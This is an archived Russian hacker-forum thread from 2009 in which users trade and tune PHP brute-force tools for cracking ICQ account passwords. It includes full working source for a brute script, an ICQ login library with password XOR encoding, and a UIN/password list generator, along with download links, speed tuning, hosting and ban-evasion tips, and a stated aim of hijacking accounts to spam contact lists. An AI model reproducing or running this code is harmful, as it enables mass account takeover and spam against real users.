PDA

Просмотр полной версии : ICQ брут


AdReNa1!Ne
20.02.2009, 20:29
Нарыл на просторах инета брут от райдера, который уже ясен пень не пашет, т.к. webicqlite уже не поддерживается.
Подключил к нему webicqpro новый, исправленный.
Брут взбесился на моем хосте - ~8000 ппс...
Выкладываю, мб укажете где накосячил))
http://slil.ru/26904946 - Бешаная версия (оставляю чтоб поржать)
http://slil.ru/26937047 - Версия стабильная, но с PPS < 1
(тоже оставляю для хз каких целей)
------------------------------------------------------------------------------
Переделал под icqlib брут.
У меня срого 2-3 ппс, бывает за 4 вылетает =)
http://slil.ru/26983989
http://slil.ru/26994925
------------------------------------------------------------------------------
Версия легкого брута от Zedi, использующая идею RICQ brute.
У меня стабильно 3.5-4 ппс
Логинится к нескольким серверам, что снижает возможность бана.

AdReNa1!Ne
20.02.2009, 21:43
Слегка переделал класс и сам брут. после тестов выложу.
вроде уже не бесится

SL@YER
21.02.2009, 10:31
ЖДемс доработаного )

Blackcat95
21.02.2009, 11:19
~5к ппс , прошел 1 лимон а гудов нет :D
Проверил на маленьком диапе (15 номеров) подсунул гуд номер брутенг его нашел.

AdReNa1!Ne
21.02.2009, 11:50
Ну я нашел причину почему ппс взлетает до космических величин (а жалко, что это не реальность..))

SL@YER
21.02.2009, 11:55
У меня ппс ~ 3000 , но чот не записивает в файл результат (чмод на файла 666)

AdReNa1!Ne
21.02.2009, 12:06
Это багнутая версия, подождите.
Результат не пишет, т.к. я закомментировал место с логгингом. А то он за минуту записывает на 20 метров. А мне такого счаться не надо было)
Я ща переписал малясь его.
"Не понос - так золотуха" - теперь ппс максимум 1...

AdReNa1!Ne
21.02.2009, 12:18
http://slil.ru/26937047
Держите. ППС - 0.7-1.

Кто поправит до стандартных 2-2.5, с меня +10 =)

Blackcat95
21.02.2009, 12:32
Ща затестю

Blackcat95
21.02.2009, 12:35
0.5 ппс :( лучшеб было 5к :D

AdReNa1!Ne
21.02.2009, 12:40
у меня стабильно 0.9
Видимо хост хороший)

SL@YER
21.02.2009, 13:09
у меня 1-1.2 видимо хост по круче )

Blackcat95
21.02.2009, 13:12
Выкладуйте хостенги) у мну бест-хостер

SL@YER
21.02.2009, 13:14
У меня vdscenter.com , но не советую , очень часто в ауте сайт

Blackcat95
21.02.2009, 13:16
А бесплатного нету? со своим доменом шобэ шел

SL@YER
21.02.2009, 13:17
http://www.ayola.net , но там при реге нужно смс отправить , и не знаю пойдьот ли туда етот скрипт

Zedi
21.02.2009, 15:04
только что тоже брут на пыхе накатал кому нужно держите _http://slil.ru/26940836

Blackcat95
21.02.2009, 15:09
только что тоже брут на пыхе накатал кому нужно держите _http://slil.ru/26940836
http://clip2net.com/clip/m10088/1235214550-clip-10kb.png

Zedi
21.02.2009, 15:12
Ссори, ща перезалью, просто 7зипом сжимал

вот, залил _http://slil.ru/26941253

.[SD].
22.02.2009, 10:40
все вроде бы нормально работает, вот стата

Брутфорс работает:
Время работы брута: 34136 сек.
Попыток подбора: 152405
Средний PPS: 4.46

но проблема в том что файл бад сначала рос, а после очистки 0 байт и все, а стата то меняется.. в чем же проблема? стоит на кроне.. права стоять 777...

.[SD].
22.02.2009, 10:50
[21-Feb-2009 23:59:35] PHP Warning: fopen(bad.txt) [<a href='function.fopen'>function.fopen</a>]: failed to open stream: Permission denied in /home/blacksi/public_html/wwww/icqlib.php on line 263


еррор лог такой..

Sharky
22.02.2009, 11:12
.'][21-Feb-2009 23:59:35] PHP Warning: fopen(bad.txt) [<a href='function.fopen'>function.fopen</a>]: failed to open stream: Permission denied in /home/blacksi/public_html/wwww/icqlib.php on line 263


еррор лог такой..
тяжело наверн догадаться что не может открыть файл bad.txt ибо не хватает прав...ставь chmod 777

.[SD].
22.02.2009, 11:15
щас на все файлы в папке поставил права 777, тоже самое..

Zedi
22.02.2009, 11:32
Нельзя во время работы ничего чистить, когда ты чистил файл то ты заблокировал доступ к нему, для этого и есть в пхп функции блокировки файлов. Кто нить мой брут пробовал? Отпишитесь мне интересно)

tema666
22.02.2009, 15:29
прикольная вещь.....ща буду тестить))))

Zedi
22.02.2009, 15:48
вот накатал генератор листов для брута, удобно когда брут стоит на хосте, не надо большой лист заливать, подойдет для обоих брутов в этой теме

<?php
echo '<html> <head><title>Генератор</title><style type="text/css"> a:link {color: #9a9a9a; text-decoration: none;} a:active {color: #9a9a9a; text-decoration: none;} a:visited {color: #9a9a9a; text-decoration: none;} a:hover {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">';
if (isset($_POST['submit']))
{
foreach ($_POST as $post_date_key => $post_date)
{
if (empty($post_date))
{
die("Вы не заполнили поля");
}
}
$from = $_POST['from'];
$to = $_POST['to'];
$pass = $_POST['pass'];
$file = $_POST['file'];

$f = fopen($file, "w");
for ($from; $from < $to; $from++)
{
$data = $from.";".$pass."\r\n";
fwrite($f, $data);
}

fclose($f);
echo "OK"."<br>";
} else
{
echo "<form method='POST' name='submit'><table border=0>
<tr><td width='150'>Диапазон с</td><td><input type='text' name='from' size='20'></td></tr>
<tr><td width='150'>по</td><td><input type='text' name='to' size='20'></td></tr>
<tr><td width='150'>Пароль</td><td><input type='text' name='pass' size='20'></td></tr>
<tr><td width='150'>Сохранить в файл</td><td><input name='file' type='text' value='source.txt' size='20'></td></tr>
<tr><td width='150'>Генерировать</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
</table></form>";
}
echo "Разработка:Zedi v.0.1</body></html><noscript>";

?>

AdReNa1!Ne
22.02.2009, 23:00
Переделал под icqlib брут.
У меня срого 2-3 ппс =)
http://slil.ru/26983989

.[SD].
22.02.2009, 23:16
да у меня и так 2-4 ппс, зависит от хостинга..
автор, ответь на вопрос почему у меня стата идет а бад не изменяется? (права 777 на папке и файлах всех, хостинг платный)..

AdReNa1!Ne
22.02.2009, 23:19
отредактируй индекс. Там настройка есть $notlog (по умолчанию 0, чтобы не засирать логи)

Zedi
22.02.2009, 23:45
а вот мой брут
Возможности:
* Генератор
* Остановка брута
* Просмотр статистики
* Очистка списков
* Измерение скорости


<?php
error_reporting(E_ALL);
set_time_limit(0);
ignore_user_abort(1);

require_once ("icqlib.php");
$source = "source.txt";
$good = "good.txt";
$bad = "bad.txt";
$stop = "stop.txt";
echo '<html>
<head>
<title>ICQ Брут</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<style type="text/css">
a:link {color: #9a9a9a; text-decoration: none;}
a:active {color: #9a9a9a; text-decoration: none;}
a:visited {color: #9a9a9a; text-decoration: none;}
a:hover {color: #000000; text-decoration: none;}

input, textarea, select
{
background-color: #ffffff;
border:#000000 1pt solid;
color: #000000;
font-size: 9px;
margin: 0px;
padding-bottom: 1px;
padding-left: 2px;
padding-right: 0px;
padding-top: 0px;
font-family: Verdana, arial, Helvetica;
line-height: 9pt;
}

body, table
{
font-family: Verdana, arial, Helvetica;
color: #000000;
font-size: 11px;
}
</style>
</head>
<body bgcolor="#f0f0f0">';
if (isset($_GET['start']))
{
$start = putw(time(), $stop);
echo "Брут запущен<br>";
flush();
$file_s = file($source);
$count = count($file_s);
$total = $go = 0;
foreach ($file_s as $str)
{
if (file_get_contents($stop) == 'stop')
{
die("Брут остановлен<br>Разработка:Zedi v.0.2</body></html><noscript>");
}
list($uin, $password) = explode(";", $str);
$uin = trim($uin);
$password = trim($password);
$mtime = microtime();
$mtime = explode(" ", $mtime);
$mtime = $mtime[1] + $mtime[0];
$tstart = $mtime;
$debug = false;
$icq = new ICQclient($uin, $password);
$icq->connect();
if ($icq->connected)
{
$icq->login();
if ($icq->logged)
{
$put = put($str, $good);
} else
{
$put = put($str, $bad);
}
}
$mtime = microtime();
$mtime = explode(" ", $mtime);
$mtime = $mtime[1] + $mtime[0];
$tend = $mtime;
$total = $total + ($tend - $tstart);
}
$start = putw('', $stop);
} elseif (isset($_GET['clean']))
{
$clean = putw('', $source);
$clean = putw('', $good);
$clean = putw('', $bad);
echo "Списки очищены<br>";

} elseif (isset($_GET['stop']))
{
$clean = putw('stop', $stop);
echo "Брут остановлен<br>";

} elseif (isset($_GET['generator']))
{
if (isset($_POST['submit']))
{
foreach ($_POST as $post_date_key => $post_date)
{
if (empty($post_date))
{
die("Вы не заполнили поля");
}
}
$from = $_POST['from'];
$to = $_POST['to'];
$pass = $_POST['pass'];
$file = $_POST['file'];

$f = fopen($file, "w");
for ($from; $from < $to; $from++)
{
$data = $from . ";" . $pass . "\r\n";
fwrite($f, $data);
}

fclose($f);
echo "OK" . "<br>";

} else
{
echo "<form method='POST' name='submit'><table border=0>
<tr><td width='150'>Диапазон с</td><td><input type='text' name='from' size='20'></td></tr>
<tr><td width='150'>по</td><td><input type='text' name='to' size='20'></td></tr>
<tr><td width='150'>Пароль</td><td><input type='text' name='pass' size='20'></td></tr>
<tr><td width='150'>Сохранить в файл</td><td><input name='file' type='text' value='source.txt' size='20'></td></tr>
<tr><td width='150'>Генерировать</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
</table></form>";
}

} elseif (isset($_GET['good']))
{
$file_g = file($good);
$gcount = count($file_g);
echo "Всего " . $gcount . " записей<br>";
foreach ($file_g as $str)
{
echo $str . "<br>";
}

} else
{
$source_file = file($source);
$source_count = count($source_file);

$good_file = file($good);
$good_count = count($good_file);

$bad_file = file($bad);
$bad_count = count($bad_file);

$stop_file = file_get_contents($stop);

$passed = $bad_count + $good_count;
$PPS = 0;
if ($source_count != 0)
{
$percent = ($passed / $source_count) * 100;
} else
{
$percent = 0;
}
if ($percent > 100)
{
$percent = 100;
}
$percent = round($percent, 3);
if ($stop_file == 'stop')
{
$PPS = 0;
} elseif ($stop_file > 1000000000)
{
if ($passed != 0)
{
$PPS = 1 / ((time() - $stop_file) / $passed);
} else
{
$PPS = 0;
}
}
$PPS = round($PPS, 3);
echo "<table border=0>";
echo "<tr><td>Всего:" . $source_count .
"</td> <td><a href=?start>Старт</a></td></tr>";
echo "<tr><td><a href=?good>Хороших:</a>" . $good_count .
"</td> <td><a href=?stop>Стоп</a></td></tr>";
echo "<tr><td>Плохих:" . $bad_count .
"</td> <td><a href=?clean>Очистить списки</a></td></tr>";
echo "<tr><td>Выполнено:" . $percent .
"%</td> <td><a href=?generator>Генератор</a></td></tr>";
echo "<tr><td>Средняя скорость:" . $PPS . " PPS</td></tr>";
echo "</table>";
}
echo "Разработка:Zedi v.0.2</body></html><noscript>";
?>

icqlib.php

<?
class ICQclient
{
var $socket, $server, $port, $connected;
var $uin, $password, $logged;
var $client = array(), $sequence, $TLV = array();
var $uin_sendto, $message;

function ICQclient($uin, $password)
{
$this->server = "login.icq.com";
$this->port = 5190;
$this->uin = (string )$uin;
$this->password = $password;
$this->client = array("name" => "icqlib.php", "country" => "ru", "language" =>
"ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1);
}

function connect()
{
$this->socket = @fsockopen($this->server, $this->port);
if (!$this->socket)
return false;
else
{
$this->connected = true;
return true;
}
}

function connect_migration()
{
list($server, $port) = explode(":", $this->TLV[0x05]);
$this->socket = @fsockopen($server, $port);
}

function login()
{
if (!$this->connected)
$this->connect();
if (!$this->connected)
return false;
$this->receive_packet();
$this->sequence = rand(0x0000, 0xFFFF);
$this->send_packet("login");
$SNAC = $this->receive_packet();
$this->parse_SNAC($SNAC);
if (!(@$this->TLV[0x05] and @$this->TLV[0x06]))
return false;
$this->connect_migration();
$this->send_packet("cookie");
$this->receive_packet();
$this->send_packet("ready");
$this->receive_packet();
$this->logged = true;
return true;
}

function send_message($uin, $message)
{
if (!$this->logged)
return false;
$this->uin_sendto = $uin;
$this->message = $message;
$this->send_packet("message");
$this->receive_packet();
return true;
}

function getstatus($uin)
{
if (!$this->logged)
return false;
$this->uin_sendto = $uin;
$this->send_packet("userinfo");
$SNAC = $this->receive_packet();
list(, $subfamily) = unpack("C", $SNAC[3]);
if ($subfamily == 6)
{
list(, $uin_length) = unpack("C", $SNAC[10]);
$this->parse_SNAC(substr($SNAC, 15 + $uin_length));
if ($this->TLV[6])
list(, $status_code) = unpack("C", $this->TLV[6][3]);
else
$status_code = 0xFF;
switch ($status_code)
{
case 0x00:
$status = "online";
break;
case 0x01:
$status = "away";
break;
case 0x02:
$status = "dnd";
break;
case 0x03:
$status = "dnd";
break;
case 0x04:
$status = "na";
break;
case 0x05:
$status = "na";
break;
case 0x10:
$status = "occupied";
break;
case 0x11:
$status = "occupied";
break;
case 0x13:
$status = "dnd";
break;
case 0x20:
$status = "free4chat";
break;
default:
$status = "undefined";
break;
}
} else
$status = "offline";
return $status;
}

function disconnect()
{
$this->connected = $this->logged = false;
return @fclose($this->socket);
}

function log_packet($packet, $type = "packet")
{
global $debug_log;
$debug_log .= "<p>$type:<br>";
for ($i = 0; $i < strlen($packet); $i++)
{
if (strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
$debug_log .= "0";
$debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
}
$debug_log .= "</p>";
}

function send_packet($type)
{
global $debug;
list($channel, $SNAC) = $this->gen_SNAC($type);
$FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC));
$packet = $FLAP . $SNAC;
if ($debug)
$this->log_packet($packet, "send");
@fwrite($this->socket, $packet);
$this->sequence++;
if ($this->sequence == 0xFFFF)
$this->sequence = 0x0000;
}

function receive_packet()
{
global $debug;
$FLAP = @fread($this->socket, 6);
list(, $length) = @unpack("n", substr($FLAP, 4, 2));
$SNAC = @fread($this->socket, $length);
$packet = $FLAP . $SNAC;
if ($debug)
$this->log_packet($packet, "receive");
return $SNAC;
}

function gen_SNAC($type)
{
if ($type == "login")
{
$SNAC = pack("N", 1) . $this->gen_TLV(0x01, $this->uin) . $this->gen_TLV(0x02,
xor_encrypt($this->password)) . $this->gen_TLV(0x03, $this->client["name"]) . $this->
gen_TLV(0x16, 266, 2) . $this->gen_TLV(0x17, $this->client["major"], 2) . $this->
gen_TLV(0x18, $this->client["minor"], 2) . $this->gen_TLV(0x19, $this->client["lesser"],
2) . $this->gen_TLV(0x1A, $this->client["build"], 2) . $this->gen_TLV(0x14, 85,
4) . $this->gen_TLV(0x0F, $this->client["language"]) . $this->gen_TLV(0x0E, $this->
client["country"]);
$channel = 1;
}
if ($type == "cookie")
{
$SNAC = pack("N", 1) . $this->gen_TLV(0x06, $this->TLV[0x06]);
$channel = 1;
}
if ($type == "ready")
{ // SNAC(01,02) - CLI_READY
$SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x 00\x03\x01\x10" . "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x 00\x01\x01\x10" .
"\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x 00\x01\x01\x10" . "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x 00\x01\x01\x10" .
"\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
$channel = 2;
}
if ($type == "message")
{ // SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
$this->TLV[0x0501] = pack("C", 1);
$this->TLV[0x0101] = pack("N", 0) . $this->message;
$this->TLV[0x02] = $this->gen_TLV(0x0501, $this->TLV[0x0501]) . $this->gen_TLV(0x0101,
$this->TLV[0x0101]);
$SNAC = pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this->
uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02, $this->TLV[0x02]) . $this->
gen_TLV(0x06, "");
$channel = 2;
}
if ($type == "userinfo")
{ // SNAC(02,05) - CLI_LOCATION_INFO_REQ
$SNAC = pack("nnnNnca*", 0x02, 0x05, 0, 0, 1, strlen($this->uin_sendto), $this->
uin_sendto);
$channel = 2;
}
return array($channel, $SNAC);
}

function parse_SNAC($SNAC)
{
unset($this->TLV);
while (strlen($SNAC) > 0)
{
list(, $type, $length) = unpack("n2", substr($SNAC, 0, 4));
$this->TLV[$type] = substr($SNAC, 4, $length);
$SNAC = substr($SNAC, 4 + $length);
}
}

function gen_TLV($type, $value, $length = false)
{
switch ($length)
{
case 1:
$format = "C";
break; // unsigned char (8 bit)
case 2:
$format = "n";
break; // unsigned short (16 bit, big endian byte order)
case 4:
$format = "N";
break; // unsigned long (32 bit, big endian byte order)
default:
$format = "a*";
break; // NUL-padded string
}
if ($length === false)
$length = strlen($value);
return pack("nn" . $format, $type, $length, $value);
}
}

function xor_encrypt($password)
{
$roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x 53\x7a\x95\x7c";
$xored = "";
for ($i = 0; $i < strlen($password); $i++)
$xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
return $xored;
}

function put($data, $file)
{
global $go;
$f = fopen($file, "a") or die("File " . $file . " doesn't exist");
fwrite($f, $data);
fclose($f);
$go++;
}
function putw($data, $file)
{
$f = fopen($file, "w");
fwrite($f, $data);
fclose($f);
}
?>

и создайте файлы source.txt good.txt bad.txt и stop.txt

или скачать отсюда _http://slil.ru/26984165

у мя на нете с мобилы (около 70кбит/c) скорость 4-6 ППС

выслушаю ваши предложения по бруту

P.S. Адреналин,удали из своего брута функцию put(), это я ее добавил(вероятно ты взял библиотеку из моего брута)

AdReNa1!Ne
22.02.2009, 23:55
да, из твоего.
Мне очень влом перезаливать, в след. релизе сделаю...=\
А вообще спросил бы хотя бы разрешения выкладывать в моей теме, посвященной именно RICQ бруту, выкладывать свои скрипты... хотя мне все равно, но все же...
Библиотека не твоя, а из kanicq.ru. Копирайты нехорошо стирать.
http://kanicq.ru/invisible/icqlib.rar

А еще, почему я обратил свое внимание на RICQ брут - что там брутятся не определенные нумы, а нумы реальных людей, с реальными контакт-листами. Это оч полезно для спама по КЛ.

Zedi
23.02.2009, 00:30
я не говорил что библа моя, я просто про функцию сказал, вот обоновленная версия моего брута http://slil.ru/26984265

*DeViL*
23.02.2009, 19:33
я не говорил что библа моя, я просто про функцию сказал, вот обоновленная версия моего брута http://slil.ru/26984265
скорость просто летит, 12-14 ппс! и с учером что это безпроксивой брут!.. жжесть..

AdReNa1!Ne
24.02.2009, 20:46
http://slil.ru/26994925

Версия легкого брута от Zedi, использующая идею RICQ brute.
У меня стабильно 3.5-4 ппс
Логинится к нескольким серверам, что снижает возможность бана.

P.S. А на самом деле я вру. 5.5-5.8 ппс у меня ща выжимается ^_^
P.P.S. Ща 6.8-7.1 ппс.

Kasali
19.03.2009, 20:11
А на каких хостах кто пользуется то

Netmen
23.04.2009, 14:08
а какой из всех выложенных в теме, "лучше всех"?